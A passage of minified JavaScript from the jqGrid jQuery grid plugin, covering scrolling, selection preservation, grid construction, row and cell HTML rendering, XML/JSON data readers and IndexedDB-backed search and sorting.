0===x.scrollTop&&(x.scrollTop=0),e!==x.scrollTop)&&(x.scrollTop=e,x.timer&&clearTimeout(x.timer),x.timer=setTimeout(x.populateVisible,b.scrollTimeout)),x.hDiv.scrollLeft=x.bDiv.scrollLeft,b.footerrow&&(x.sDiv.scrollLeft=x.bDiv.scrollLeft),b.headerrow&&(x.hrDiv.scrollLeft=x.bDiv.scrollLeft),b.frozenColumns&&Ye(x.fbDiv).scrollTop(x.bDiv.scrollTop);try{Ye("#column_menu").remove()}catch(e){}}x.bScroll=!1},selectionPreserver:function(t){function r(){var e;if(i.multiselect&&a&&0<a.length)for(e=0;e<a.length;e++)a[e]&&Ye(t).jqGrid("setSelection",a[e],!1,"_sp_");!i.multiselect&&o&&Ye(t).jqGrid("setSelection",o,!1,null),t.grid.bDiv.scrollLeft=n,Ye(t).off(".selectionPreserver",r)}var i=t.p,o=i.selrow,a=i.selarrrow?Ye.makeArray(i.selarrrow):null,n=t.grid.bDiv.scrollLeft;Ye(t).on("jqGridGridComplete.selectionPreserver",r)},hScroll:!1,bScroll:!1};if("TABLE"!==this.tagName.toUpperCase()||Ye.jgrid.isNull(this.id))alert("Element is not a table or has no id!");else if(void 0!==document.documentMode&&document.documentMode<=5)alert("Grid can not be used in this ('quirks') mode!");else{var S,k,v,X,e=0;for(k in Ye.jgrid.regional)Ye.jgrid.regional.hasOwnProperty(k)&&(0===e&&(S=k),e++);if(1===e&&S!==b.regional&&(b.regional=S),Ye(this).empty().attr("tabindex","0"),this.p=b,this.p.useProp=!!Ye.fn.prop,0===this.p.colNames.length)for(e=0;e<this.p.colModel.length;e++)this.p.colNames[e]=this.p.colModel[e].label||this.p.colModel[e].name;if(this.p.colNames.length!==this.p.colModel.length)alert(Ye.jgrid.getRegional(this,"errors.model"));else{"Bootstrap4"===Q.p.styleUI&&Ye.jgrid.iconSet.hasOwnProperty(Q.p.iconSet)&&Ye.extend(!0,Ye.jgrid.styleUI.Bootstrap4,Ye.jgrid.iconSet[Q.p.iconSet]),"Bootstrap5"===Q.p.styleUI&&Ye.jgrid.iconSet.hasOwnProperty(Q.p.iconSet)&&Ye.extend(!0,Ye.jgrid.styleUI.Bootstrap5,Ye.jgrid.iconSet[Q.p.iconSet]);var R,K=Ye.jgrid.getMethod("getStyleUI"),$=Q.p.styleUI+".common",j=K($,"disabled",!0),Y=K($,"highlight",!0),C=K($,"hover",!0),N=K($,"cornerall",!0),I=K($,"icon_base",!0),D=Ye.jgrid.styleUI[Q.p.styleUI||"jQueryUI"].colmenu,M=Ye.jgrid.msie(),F=[],G=[],O=[],$=Q.p.styleUI+".base",t=Ye("<div "+K($,"viewBox",!1,"ui-jqgrid-view")+" ></div>"),r=(Q.p.direction=Ye.jgrid.trim(Q.p.direction.toLowerCase()),Q.p._ald=!1,-1===Ye.inArray(Q.p.direction,["ltr","rtl"])&&(Q.p.direction="ltr"),v=Q.p.direction,Ye(t).insertBefore(this),Ye(this).appendTo(t),Ye("<div "+K($,"entrieBox",!1,"ui-jqgrid")+"></div>")),A=(Ye(r).attr({id:"gbox_"+this.id,dir:v}).insertBefore(t),Ye(t).attr("id","gview_"+this.id).appendTo(r),Ye("<div "+K(Q.p.styleUI+".common","overlay",!1,"jqgrid-overlay")+" id='lui_"+this.id+"'></div>").insertBefore(t),Ye("<div "+K($,"loadingBox",!1,"loading")+" id='load_"+this.id+"'>"+Ye.jgrid.getRegional(Q,"defaults.loadtext",this.p.loadtext)+"</div>").insertBefore(t),Ye(this).attr({role:"grid","aria-multiselectable":!!this.p.multiselect,"aria-labelledby":"gbox_"+this.id}),"indexeddb"===Q.p.datatype&&Ye(Q).jqGrid("dbInit",Q.p.datatype),Ye.jgrid.getFont(Q)),J=function(e,t){return void 0===t&&(t=0),e=parseInt(e,10),isNaN(e)?t:e},l=function(e,t,r,i,o,a){var n=Q.p.colModel[e],l=n.align,s='style="',d=n.classes,p=n.name,c=[];return l&&(s+="text-align:"+l+";"),!0===n.hidden&&(s+="display:none;"),0===t?s+="width: "+x.headers[e].width+"px;":(Ye.jgrid.isFunction(n.cellattr)||"string"==typeof n.cellattr&&!Ye.jgrid.isNull(Ye.jgrid.cellattr)&&Ye.jgrid.isFunction(Ye.jgrid.cellattr[n.cellattr]))&&(l=(Ye.jgrid.isFunction(n.cellattr)?n.cellattr:Ye.jgrid.cellattr[n.cellattr]).call(Q,o,r,i,n,a))&&"string"==typeof l&&(-1<l.indexOf("title")&&(n.title=!1),-1<l.indexOf("class")&&(d=void 0),2===(c=(l=String(l).replace(/\s+\=/g,"=")).split("style=")).length?(c[1]=Ye.jgrid.trim(c[1]),0!==c[1].indexOf("'")&&0!==c[1].indexOf('"')||(c[1]=c[1].substring(1)),s+=c[1].replace(/'/gi,'"')):s+='"'),c.length?2<c.length&&(c[0]=""):(c[0]="",s+='"'),(s=(s+=(void 0!==d?' class="'+d+'"':"")+(n.title&&r?' title="'+Ye.jgrid.stripHtml(r)+'"':""))+(' aria-describedby="'+Q.p.id+"_"+p+'"'))+c[0]},T=function(e){return Ye.jgrid.isNull(e)||""===e?" ":Q.p.autoencode?Ye.jgrid.htmlEncode(e):String(e)},P=function(e,t,r,i,o){var a=Q.p.colModel[r],e={rowId:e=""!==String(Q.p.idPrefix)?Ye.jgrid.stripPref(Q.p.idPrefix,e):e,colModel:a,gid:Q.p.id,pos:r,styleUI:Q.p.styleUI},r=void 0!==a.formatter?Ye.jgrid.isFunction(a.formatter)?a.formatter.call(Q,t,e,i,o):Ye.fmatter?Ye.fn.fmatter.call(Q,a.formatter,t,e,i,o):T(t):T(t);return Q.p.autoResizing&&a.autosize&&(a._maxsize||(a._maxsize=a.canvas_width),a._maxsize=Math.max(Ye.jgrid.isFunction(a.sizingStringFunc)?a.sizingStringFunc.call(Q,r,A,e,i):Ye.jgrid.getTextWidth(r,A),a._maxsize)),r},Z=function(e,t,r,i,o,a){t=P(e,t,r,o,"add");return'<td role="gridcell" '+l(r,i,t,o,e,a)+">"+t+"</td>"},ee=function(e,t,r,i,o,a){var n=Ye.jgrid.getRegional(Q,"defaults.selectLine"),n='<input role="checkbox" title=\''+(n||Ye.jgrid.regional.en.defaults.selectLine)+'\' type="checkbox" id="jqg_'+Q.p.id+"_"+e+'" '+o+' name="jqg_'+Q.p.id+"_"+e+'"'+(i?'checked="checked"':"")+"/>",o=Q.p.colModel[t];return void 0!==o.formatter&&Ye.jgrid.isFunction(o.formatter)&&(n=o.formatter.call(Q,n,{rowId:e,colModel:o,gid:Q.p.id,pos:t,styleUI:Q.p.styleUI},a,"add")),'<td role="gridcell" '+l(t,r,n,a,e,!0)+">"+n+"</td>"},te=function(e,t,r,i,o){r=(parseInt(r,10)-1)*parseInt(i,10)+1+t;return'<td role="gridcell" '+o+" "+l(e,t,r,null,t,!0)+">"+r+"</td>"},re=function(e,t,r,i){var o=Q.p.searchColOptions.searchOnEnter?" onchange=\"$.jgrid.searchColOnEnter('"+Q.p.id+"',"+e+', this)"':" onkeydown=\"$.jgrid.searchColOnKey('"+Q.p.id+"',"+e+',this, event)"',i='<input type="text" id="jqs_'+Q.p.id+"_"+e+'" name="jqs_'+Q.p.id+"_"+e+'" '+i+o+"/>";return'<td role="gridcell" '+l(t,r,"",null,e,!0)+">"+i+"</td>"},ie=function(e){for(var t,r=[],i=0,o=0;o<Q.p.colModel.length;o++)"cb"!==(t=Q.p.colModel[o]).name&&"subgrid"!==t.name&&"rn"!==t.name&&"sc"!==t.name&&(r[i]="local"===e?t.name:"xml"===e||"xmlstring"===e?t.xmlmap||t.name:t.jsonmap||t.name,!1!==Q.p.keyName&&!0===t.key&&(Q.p.keyName=r[i],Q.p.keyIndex=i),i++);return r},oe=function(t){var e=Q.p.remapColumns;return e&&e.length||(e=Ye.map(Q.p.colModel,function(e,t){return t})),e=t?Ye.map(e,function(e){return e<t?null:e-t}):e},ae=function(e,t){var r;this.p.deepempty?Ye(this.rows).slice(1).remove():(r=0<this.rows.length?this.rows[0]:null,Ye(this.firstChild).empty().append(r)),e&&this.p.scroll&&(Ye(this.grid.bDiv.firstChild).css({height:"auto"}),Ye(this.grid.bDiv.firstChild.firstChild).css({height:"0px",display:"none"}),0!==this.grid.bDiv.scrollTop)&&(this.grid.bDiv.scrollTop=0),!0===t&&(this.p.data=[],this.p._index={})},B=function(){var e,t,r,i,o,a,n,l,s,d,p,c=Q.p,u=c.data,h=u.length,g=c.localReader,f=c.colModel,m=g.cell,v=(!0===c.multiselect?1:0)+(!0===c.subGrid?1:0)+(!0===c.rownumbers?1:0)+(!0===c.searchCols?1:0),j=c.scroll?Ye.jgrid.randId():1;if("local"===c.datatype&&!0===g.repeatitems)for(s=oe(v),d=ie("local"),i=!1===c.keyName?Ye.jgrid.isFunction(g.id)?g.id.call(Q,u):g.id:c.keyName,e=0;e<h;e++){for(r=u[e],void 0===(o=Ye.jgrid.getAccessor(r,i))&&void 0===(o="number"!=typeof i||Ye.jgrid.isNull(f[i+v])?o:Ye.jgrid.getAccessor(r,f[i+v].name))&&(o=j+e,m)&&(a=Ye.jgrid.getAccessor(r,m)||r,o=Ye.jgrid.isNull(a)||void 0===a[i]?o:a[i],0),(l={})[g.id]=o,m&&(r=Ye.jgrid.getAccessor(r,m)||r),p=Array.isArray(r)?s:d,t=0;t<p.length;t++)n=Ye.jgrid.getAccessor(r,p[t]),l[f[t+v].name]=n;u[e]=l}},ne=function(){var e,t,r=Q.p.data.length,i=!1!==Q.p.keyName?Q.p.keyName:Q.p.localReader.id;for(Q.p._index={},e=0;e<r;e++)void 0===(t=Ye.jgrid.getAccessor(Q.p.data[e],i))&&(t=String(e+1)),Q.p._index[t]=e},le=function(e,t,r,i,o){var a,n="-1",l="",t=t?"display:none;":"",s=Ye(Q).triggerHandler("jqGridRowAttr",[i,o,e]);if("object"!=typeof s&&(s=Ye.jgrid.isFunction(Q.p.rowattr)?Q.p.rowattr.call(Q,i,o,e):"string"==typeof Q.p.rowattr&&!Ye.jgrid.isNull(Ye.jgrid.rowattr)&&Ye.jgrid.isFunction(Ye.jgrid.rowattr[Q.p.rowattr])?Ye.jgrid.rowattr[Q.p.rowattr].call(Q,i,o,e):{}),!Ye.isEmptyObject(s)){s.hasOwnProperty("id")&&(e=s.id,delete s.id),s.hasOwnProperty("tabindex")&&(n=s.tabindex,delete s.tabindex),s.hasOwnProperty("style")&&(t+=s.style,delete s.style),s.hasOwnProperty("class")&&(r+=" "+s.class,delete s.class);try{delete s.role}catch(e){}for(a in s)s.hasOwnProperty(a)&&(l+=" "+a+"="+s[a])}return'<tr role="row" id="'+e+'" tabindex="'+n+'" class="'+r+'"'+(""===t?"":' style="'+t+'"')+l+">"},E=function(e,r,t,i){var A=new Date,o="local"!==Q.p.datatype&&Q.p.loadonce||"xmlstring"===Q.p.datatype,a="_id_",n=Q.p.xmlReader,l=[],T="local"===Q.p.datatype?"local":"xml";if(o&&(Q.p.data=[],Q.p._index={},Q.p.localReader.id=a),Q.p.reccount=0,Ye.isXMLDoc(e)){r=-1!==Q.p.treeANode||Q.p.scroll?1<r?r:1:(ae.call(Q,!1,!1),1);var s,d,p,c,u,h,g,f,m,v,j=Ye(Q),b=0,y=0,w=[],x={},_=[],P=K($,"rowBox",!0,"jqgrow ui-row-"+Q.p.direction),q=!0===Q.p.rownumbers?1:0,C=!0===Q.p.multiselect?1:0,I=!0===Q.p.searchCols?1:0,D=(!0===Q.p.subGrid&&(y=1,c=Ye.jgrid.getMethod("addSubGridCell")),n.repeatitems||(w=ie(T)),u=!1===Q.p.keyName?Ye.jgrid.isFunction(n.id)?n.id.call(Q,e):n.id:Q.p.keyName,n.repeatitems&&Q.p.keyName&&isNaN(u)&&(u=Q.p.keyIndex),h=-1===String(u).indexOf("[")?w.length?function(e,t){return Ye(u,e).text()||t}:function(e,t){return Ye(n.cell,e).eq(u).text()||t}:function(e,t){return e.getAttribute(u.replace(/[\[\]]/g,""))||t},Q.p.userData={},Q.p.page=J(Ye.jgrid.getXmlData(e,n.page),Q.p.page),Q.p.lastpage=J(Ye.jgrid.getXmlData(e,n.total),1),Q.p.records=J(Ye.jgrid.getXmlData(e,n.records)),Ye.jgrid.isFunction(n.userdata)?Q.p.userData=n.userdata.call(Q,e)||{}:Ye.jgrid.getXmlData(e,n.userdata,!0).each(function(){Q.p.userData[this.getAttribute("name")]=Ye(this).text()}),Ye.jgrid.getXmlData(e,n.root,!0)),F=(D=(D=Ye.jgrid.getXmlData(D,n.row,!0))||[]).length,G=0,S=[],k=parseInt(Q.p.rowNum,10),R=Q.p.scroll?Ye.jgrid.randId():1,N=Ye(Q).find("tbody").first(),M=!1;if(Q.p.grouping&&(M=!0===Q.p.groupingView.groupCollapse,m=Ye.jgrid.getMethod("groupingPrepare")),0<F&&Q.p.page<=0&&(Q.p.page=1),D&&F){i&&(k*=i+1);for(var B=Ye.jgrid.isFunction(Q.p.afterInsertRow),E=q?K($,"rownumBox",!1,"jqgrid-rownum"):"",z=I?K($,"searchBox",!1,""):"",H=C?K($,"multiBox",!1,"cbox"):"";G<F;){g=D[G],f=h(g,R+G),f=Q.p.idPrefix+f,Q.p.preserveSelection&&(Q.p.multiselect?(v=-1!==Q.p.selarrrow.indexOf(f),X=v?X+1:X):v=f===Q.p.selrow);var U=_.length;if(_.push(""),q&&_.push(te(0,G,Q.p.page,Q.p.rowNum,E)),C&&_.push(ee(f,q,G+1,v,H,g)),I&&_.push(re(f,C+q,G+1,z)),y&&_.push(c.call(j,C+q+I,G+1)),n.repeatitems){var O=O||oe(C+y+q+I),L=Ye.jgrid.getXmlData(g,n.cell,!0);Ye.each(O,function(e){var t=L[this];if(!t)return!1;p=t.textContent||t.text||"",x[Q.p.colModel[e+C+y+q+I].name]=p,_.push(Z(f,p,e+C+y+q+I,G+r,g,x))})}else for(s=0;s<w.length;s++)p=Ye.jgrid.getXmlData(g,w[s]),x[Q.p.colModel[s+C+y+q+I].name]=p,_.push(Z(f,p,s+C+y+q+I,G+r,g,x));if(_[U]=le(f,M,P,x,g),_.push("</tr>"),Q.p.grouping&&(S.push(_),Q.p.groupingView._locgr||m.call(j,x,G),_=[]),(o||!0===Q.p.treeGrid&&!Q.p._ald)&&(x[a]=Ye.jgrid.stripPref(Q.p.idPrefix,f),Q.p.data.push(x),Q.p._index[x[a]]=Q.p.data.length-1,-1<Q.p.treeANode)&&"adjacency"===Q.p.treeGridModel&&l.push(x),!1===Q.p.gridview&&(N.append(_.join("")),j.triggerHandler("jqGridAfterInsertRow",[f,x,g]),B&&Q.p.afterInsertRow.call(Q,f,x,g),_=[]),x={},G++,++b===k)break}}if(X=0<b&&Q.p.multiselect&&Q.p.preserveSelection&&b===X,!0===Q.p.gridview&&(d=-1<Q.p.treeANode?Q.p.treeANode:0,Q.p.grouping?o||(j.jqGrid("groupingRender",S,Q.p.colModel.length,Q.p.page,k),S=null):!0===Q.p.treeGrid&&0<d?Ye(Q.rows[d]).after(_.join("")):(N.append(_.join("")),Q.grid.cols=Q.rows[0].cells)),Q.p.totaltime=new Date-A,_=null,0<b&&0===Q.p.records&&(Q.p.records=F),!0===Q.p.treeGrid){try{j.jqGrid("setTreeNode",d+1,b+d+1)}catch(e){}if(-1<Q.p.treeANode&&"adjacency"===Q.p.treeGridModel&&(p=Q.rows[Q.p.treeANode].id,1<=(p=Q.p._index[p]+1))){for(Q.p.data.splice(-F,F),s=0;s<F;s++)Q.p.data.splice(p+s,0,l[s]);ne()}}if(Q.p.reccount=b,Q.p.treeANode=-1,Q.p.userDataOnFooter&&j.jqGrid("footerData","set",Q.p.userData,Q.p.formatFooterData,0,!1),Q.p.userDataOnHeader&&j.jqGrid("headerData","set",Q.p.userData,Q.p.formatHeaderData,0,!1),o&&(Q.p.records=F,Q.p.lastpage=Math.ceil(F/k)),t||Q.updatepager(!1,!0),X&&se(!0),o){for(;b<F;){if(g=D[b],f=h(g,b+R),f=Q.p.idPrefix+f,n.repeatitems){O=O||oe(C+y+q+I);var V=Ye.jgrid.getXmlData(g,n.cell,!0);Ye.each(O,function(e){var t=V[this];if(!t)return!1;p=t.textContent||t.text||"",x[Q.p.colModel[e+C+y+q+I].name]=p})}else for(s=0;s<w.length;s++)p=Ye.jgrid.getXmlData(g,w[s]),x[Q.p.colModel[s+C+y+q+I].name]=p;x[a]=Ye.jgrid.stripPref(Q.p.idPrefix,f),Q.p.grouping&&m.call(j,x,b),Q.p.data.push(x),Q.p._index[x[a]]=Q.p.data.length-1,x={},b++}Q.p.grouping&&(Q.p.groupingView._locgr=!0,j.jqGrid("groupingRender",S,Q.p.colModel.length,Q.p.page,k),S=null)}if(!0===Q.p.subGrid)try{j.jqGrid("addSubGrid",C+q)}catch(e){}}},z=function(e,t,A,r){var T=new Date;if(e){t=-1!==Q.p.treeANode||Q.p.scroll?1<t?t:1:(ae.call(Q,!1,!1),1),o="local"===Q.p.datatype?(i=Q.p.localReader,"local"):(i=Q.p.jsonReader,"json");var i,o,a,n,l,s,d,p,c,u,h,g,f,m,v="_id_",j="local"!==Q.p.datatype&&Q.p.loadonce||"jsonstring"===Q.p.datatype,b=Ye(Q),y=0,w=[],x=Q.p.multiselect?1:0,_=!0===Q.p.subGrid?1:0,q=!0===Q.p.rownumbers?1:0,C=!0===Q.p.searchCols?1:0,I=Q.p.scroll&&"local"!==Q.p.datatype?Ye.jgrid.randId():1,D=parseInt(Q.p.rowNum,10),F=!1,G=oe(x+_+q+C),P=ie(o),S={},k=[],B=[],E=K($,"rowBox",!0,"jqgrow ui-row-"+Q.p.direction),z=Ye.jgrid.isFunction(Q.p.afterInsertRow),R=[],H=!1,U=Ye(Q).find("tbody").first(),L=q?K($,"rownumBox",!1,"jqgrid-rownum"):"",V=C?K($,"searchBox",!1,""):"",W=x?K($,"multiBox",!1,"cbox"):"";for(j&&(Q.p.data=[],Q.p._index={},Q.p.localReader.id=v),Q.p.reccount=0,Q.p.page=J(Ye.jgrid.getAccessor(e,i.page),Q.p.page),Q.p.lastpage=J(Ye.jgrid.getAccessor(e,i.total),1),Q.p.records=J(Ye.jgrid.getAccessor(e,i.records)),Q.p.userData=Ye.jgrid.getAccessor(e,i.userdata)||{},_&&(s=Ye.jgrid.getMethod("addSubGridCell")),h=!1===Q.p.keyName?Ye.jgrid.isFunction(i.id)?i.id.call(Q,e):i.id:Q.p.keyName,i.repeatitems&&Q.p.keyName&&isNaN(h)&&(h=Q.p.keyIndex),u=Ye.jgrid.getAccessor(e,i.root),(n=0)<(c=(u=(u=Ye.jgrid.isNull(u)&&Array.isArray(e)?e:u)||[]).length)&&Q.p.page<=0&&(Q.p.page=1),r&&(D*=r+1),"local"!==Q.p.datatype||Q.p.deselectAfterSort||(F=!0),Q.p.grouping&&(H=!0===Q.p.groupingView.groupCollapse,f=Ye.jgrid.getMethod("groupingPrepare"));n<c;){var N,M=u[n],O=(void 0===(N=Ye.jgrid.getAccessor(M,h))&&void 0===(N="number"!=typeof h||Ye.jgrid.isNull(Q.p.colModel[h+x+_+q+C])?N:Ye.jgrid.getAccessor(M,Q.p.colModel[h+x+_+q+C].name))&&(N=I+n,0===w.length)&&i.cell&&(O=Ye.jgrid.getAccessor(M,i.cell)||M,N=Ye.jgrid.isNull(O)||void 0===O[h]?N:O[h],O=null),N=Q.p.idPrefix+N,(F||Q.p.preserveSelection)&&(Q.p.multiselect?(d=-1!==Q.p.selarrrow.indexOf(N),X=d?X+1:X):d=N===Q.p.selrow),k.length);for(k.push(""),q&&k.push(te(0,n,Q.p.page,Q.p.rowNum,L)),x&&k.push(ee(N,q,n+1,d,W,M)),C&&k.push(re(N,x+q,n+1,V)),_&&k.push(s.call(b,x+q+C,n+1)),p=P,i.repeatitems&&(i.cell&&(M=Ye.jgrid.getAccessor(M,i.cell)||M),Array.isArray(M))&&(p=G),l=0;l<p.length;l++)a=Ye.jgrid.getAccessor(M,p[l]),S[Q.p.colModel[l+x+_+q+C].name]=a,k.push(Z(N,a,l+x+_+q+C,n+t,M,S));if(k[O]=le(N,H,d?E+" "+Y:E,S,M),k.push("</tr>"),Q.p.grouping&&(R.push(k),Q.p.groupingView._locgr||f.call(b,S,n),k=[]),(j||!0===Q.p.treeGrid&&!Q.p._ald)&&(S[v]=Ye.jgrid.stripPref(Q.p.idPrefix,N),Q.p.data.push(S),Q.p._index[S[v]]=Q.p.data.length-1,-1<Q.p.treeANode)&&"adjacency"===Q.p.treeGridModel&&B.push(S),!1===Q.p.gridview&&(U.append(k.join("")),b.triggerHandler("jqGridAfterInsertRow",[N,S,M]),z&&Q.p.afterInsertRow.call(Q,N,S,M),k=[]),S={},n++,++y===D)break}if(X=0<y&&Q.p.multiselect&&(Q.p.preserveSelection||F)&&y===X,!0===Q.p.gridview&&(g=-1<Q.p.treeANode?Q.p.treeANode:0,Q.p.grouping?j||(b.jqGrid("groupingRender",R,Q.p.colModel.length,Q.p.page,D),R=null):!0===Q.p.treeGrid&&0<g?Ye(Q.rows[g]).after(k.join("")):(U.append(k.join("")),Q.grid.cols=Q.rows[0].cells)),Q.p.totaltime=new Date-T,k=null,0<y&&0===Q.p.records&&(Q.p.records=c),!0===Q.p.treeGrid){try{b.jqGrid("setTreeNode",g+1,y+g+1)}catch(e){}if(-1<Q.p.treeANode&&"adjacency"===Q.p.treeGridModel&&(a=Q.rows[Q.p.treeANode].id,1<=(a=Q.p._index[a]+1))){for(Q.p.data.splice(-c,c),n=0;n<c;n++)Q.p.data.splice(a+n,0,B[n]);ne()}}if(Q.p.reccount=y,Q.p.treeANode=-1,Q.p.userDataOnFooter&&b.jqGrid("footerData","set",Q.p.userData,Q.p.formatFooterData,0,!1),Q.p.userDataOnHeader&&b.jqGrid("headerData","set",Q.p.userData,Q.p.formatHeaderData,0,!1),j&&(Q.p.records=c,Q.p.lastpage=Math.ceil(c/D)),A||Q.updatepager(!1,!0),X&&se(!0),j){for(;y<c&&u[y];){if(M=u[y],void 0===(N=Ye.jgrid.getAccessor(M,h))&&void 0===(N="number"!=typeof h||Ye.jgrid.isNull(Q.p.colModel[h+x+_+q+C])?N:Ye.jgrid.getAccessor(M,Q.p.colModel[h+x+_+q+C].name))&&(N=I+y,0===w.length)&&i.cell&&(m=Ye.jgrid.getAccessor(M,i.cell)||M,N=Ye.jgrid.isNull(m)||void 0===m[h]?N:m[h],m=null),M){for(N=Q.p.idPrefix+N,p=P,i.repeatitems&&(i.cell&&(M=Ye.jgrid.getAccessor(M,i.cell)||M),Array.isArray(M))&&(p=G),l=0;l<p.length;l++)S[Q.p.colModel[l+x+_+q+C].name]=Ye.jgrid.getAccessor(M,p[l]);S[v]=Ye.jgrid.stripPref(Q.p.idPrefix,N),Q.p.grouping&&f.call(b,S,y),Q.p.data.push(S),Q.p._index[S[v]]=Q.p.data.length-1,S={}}y++}Q.p.grouping&&(Q.p.groupingView._locgr=!0,b.jqGrid("groupingRender",R,Q.p.colModel.length,Q.p.page,D),R=null)}if(!0===Q.p.subGrid)try{b.jqGrid("addSubGrid",x+q+C)}catch(e){}}},H=async function(e){return new Promise(function(a,n){let l=Q.p.sortname,s=Q.p.sortorder.toLowerCase(),d=parseInt(Q.p.rowNum,10),p=0,c,u=parseInt(Q.p.page,10),h,g="every";const f=Q.p.ignoreCase;e&&(u=1,d=1e6),l=l||(Q.p.sortname=Q.p.colModel[0].index||Q.p.colModel[0].name),!0===Q.p.search&&(h=Q.p.postData.filters)&&("OR"===(h="string"==typeof h?Ye.jgrid.parse(h):h).groupOp&&(g="some"),h.rules.map(e=>{f&&(e.data=e.data.toLowerCase()),e.type="text";var t=Ye(Q).jqGrid("getColProp",e.field),t=t.sorttype||t.stype,r=!("bt"===e.op||"in"===e.op||"ni"===e.op);switch(t){case"int":case"integer":r&&(e.data=parseInt(e.data,10)),e.type="num";break;case"float":case"number":case"numeric":r&&(e.data=parseFloat(e.data)),e.type="num"}}));var m={eq:function(e,t,r){return(r?t[e.field].toLowerCase():t[e.field])===e.data},ne:function(e,t,r){return(r?t[e.field].toLowerCase():t[e.field])!==e.data},lt:function(e,t,r){return(r?t[e.field].toLowerCase():t[e.field])<e.data},le:function(e,t,r){return(r?t[e.field].toLowerCase():t[e.field])<=e.data},gt:function(e,t,r){return(r?t[e.field].toLowerCase():t[e.field])>e.data},ge:function(e,t,r){return(r?t[e.field].toLowerCase():t[e.field])>=e.data},bw:function(e,t,r){return 0===(r?t[e.field].toLowerCase():t[e.field]).indexOf(e.data)},bn:function(e,t,r){return!(0===(r?t[e.field].toLowerCase():t[e.field]).indexOf(e.data))},ew:function(e,t,r){return(r?t[e.field].toLowerCase():t[e.field]).endsWith(e.data)},en:function(e,t,r){return!(r?t[e.field].toLowerCase():t[e.field]).endsWith(e.data)},cn:function(e,t,r){return-1<(r?t[e.field].toLowerCase():t[e.field]).indexOf(e.data)},nc:function(e,t,r){return-1<!(r?t[e.field].toLowerCase():t[e.field])},in:function(e,t,r){return-1<e.data.split(",").map(e=>r?e.trim().toLowerCase():e.trim()).indexOf(t[e.field])},ni:function(e,t,r){return-1===e.data.split(",").map(e=>r?e.trim().toLowerCase():e.trim()).indexOf(t[e.field].trim())},nu:function(e,t,r){return null===t[e.field]},nn:function(e,t,r){return null!==t[e.field]},bt:function(t,e,r){var i=t.data.split("...").map(e=>"num"===t.type?+e:e.trim());try{var o=r?e[t.field].toLowerCase():e[t.field];return o>=i[0]&&o<=i[1]}catch(e){return!1}}};const v=window.indexedDB.open(Q.p.dbconfig.dbname);v.onsuccess=function(e){var t=v.result.transaction(Q.p.dbconfig.dbtable,"readonly");let i={};i[Q.p.localReader.root]=[],t.oncomplete=function(e){"desc"!==s&&!Q.p.grouping||i[Q.p.localReader.root].sort(function(t,r){var i=[],o=[];if(Q.p.grouping){for(let e=0;e<Q.p.groupingView.groupField.length;e++)"asc"===Q.p.groupingView.groupOrder[e]?(i.push(t[Q.p.groupingView.groupField[e]]),o.push(r[Q.p.groupingView.groupField[e]])):(i.push(r[Q.p.groupingView.groupField[e]]),o.push(t[Q.p.groupingView.groupField[e]]));"asc"===s?(i.push(t[l]),o.push(r[l])):(i.push(r[l]),o.push(t[l]))}else i=[r[l]],o=[t[l]];return indexedDB.cmp(i,o)}),i[Q.p.localReader.root]=i[Q.p.localReader.root].slice((u-1)*d,u*d),c=Math.ceil(p/d),i[Q.p.localReader.total]=c,i[Q.p.localReader.page]=u,i[Q.p.localReader.records]=p,i[Q.p.localReader.userdata]=Q.p.userData,a(i)},t.onerror=function(e){y(),n(e.target)};var t=t.objectStore(Q.p.dbconfig.dbtable).index(l),r=(t.count(null).onsuccess=e=>{p=Q.p.search&&h.rules.length?0:e.target.result},Math.pow(2,32)-1),o=(!1!==Q.p.search||"asc"!==s||Q.p.grouping||(r=u*d),t.getAll(null,r));o.onsuccess=e=>{if(!0===Q.p.search&&h.hasOwnProperty("rules")&&h.rules.length)for(var t=o.result.length,r=0;r<t;)h.rules[g](function(e){return m[e.op](e,o.result[r],f&&"text"===e.type)})&&(p++,i[Q.p.localReader.root].push(o.result[r])),r++;else i[Q.p.localReader.root]=o.result},o.onerror=function(e){console.log(e)}}})},U=function(e){var t,r,i,o=Q.p.multiSort?[]:"",a=[],n=!1,p={},l=[],s=[];if(Array.isArray(Q.p.data)){var d,c,u,h=!!Q.p.grouping&&Q.p.groupingView;if(Ye.each(Q.p.colModel,function(){if("cb"===this.name||"subgrid"===this.name||"rn"===this.name||"sc"===this.name)return!0;if(r=this.sorttype||"text",u=this.index||this.name,"date"===r||"datetime"===r?(this.formatter&&"string"==typeof this.formatter&&"date"===this.formatter?(t=this.formatoptions&&this.formatoptions.srcformat?this.formatoptions.srcformat:Ye.jgrid.getRegional(Q,"formatter.date.srcformat"),i=this.formatoptions&&this.formatoptions.newformat?this.formatoptions.newformat:Ye.jgrid.getRegional(Q,"formatter.date.newformat")):t=i=this.datefmt||"Y-m-d",p[u]={stype:r,srcfmt:t,newfmt:i,sfunc:this.sortfunc||null,name:this.name}):p[u]={stype:r,srcfmt:"",newfmt:"",sfunc:this.sortfunc||null,name:this.name},Q.p.grouping)for(c=0,d=h.groupField.length;c<d;c++)this.name===h.groupField[c]&&(l[c]=p[u],s[c]=u);Q.p.multiSort||n||u!==Q.p.sortname||(o=u,n=!0)}),Q.p.multiSort&&(o=F,a=G),!Q.p.treeGrid||!Q.p._sort){var g={eq:function(e){return e.equals},ne:function(e){return e.notEquals},lt:function(e){return e.less},le:function(e){return e.lessOrEquals},gt:function(e){return e.greater},ge:function(e){return e.greaterOrEquals},cn:function(e){return e.contains},nc:function(e,t){return("OR"===t?e.orNot():e.andNot()).contains},bw:function(e){return e.startsWith},bn:function(e,t){return("OR"===t?e.orNot():e.andNot()).startsWith},en:function(e,t){return("OR"===t?e.orNot():e.andNot()).endsWith},ew:function(e){return e.endsWith},ni:function(e,t){return("OR"===t?e.orNot():e.andNot()).inData},in:function(e){return e.inData},nu:function(e){return e.isNull},nn:function(e,t){return("OR"===t?e.orNot():e.andNot()).isNull}},f=Ye.jgrid.from.call(Q,Q.p.data);if(Q.p.ignoreCase&&(f=f.ignoreCase()),!0===Q.p.search){var m=Q.p.postData.filters;if(m)!function e(t){var 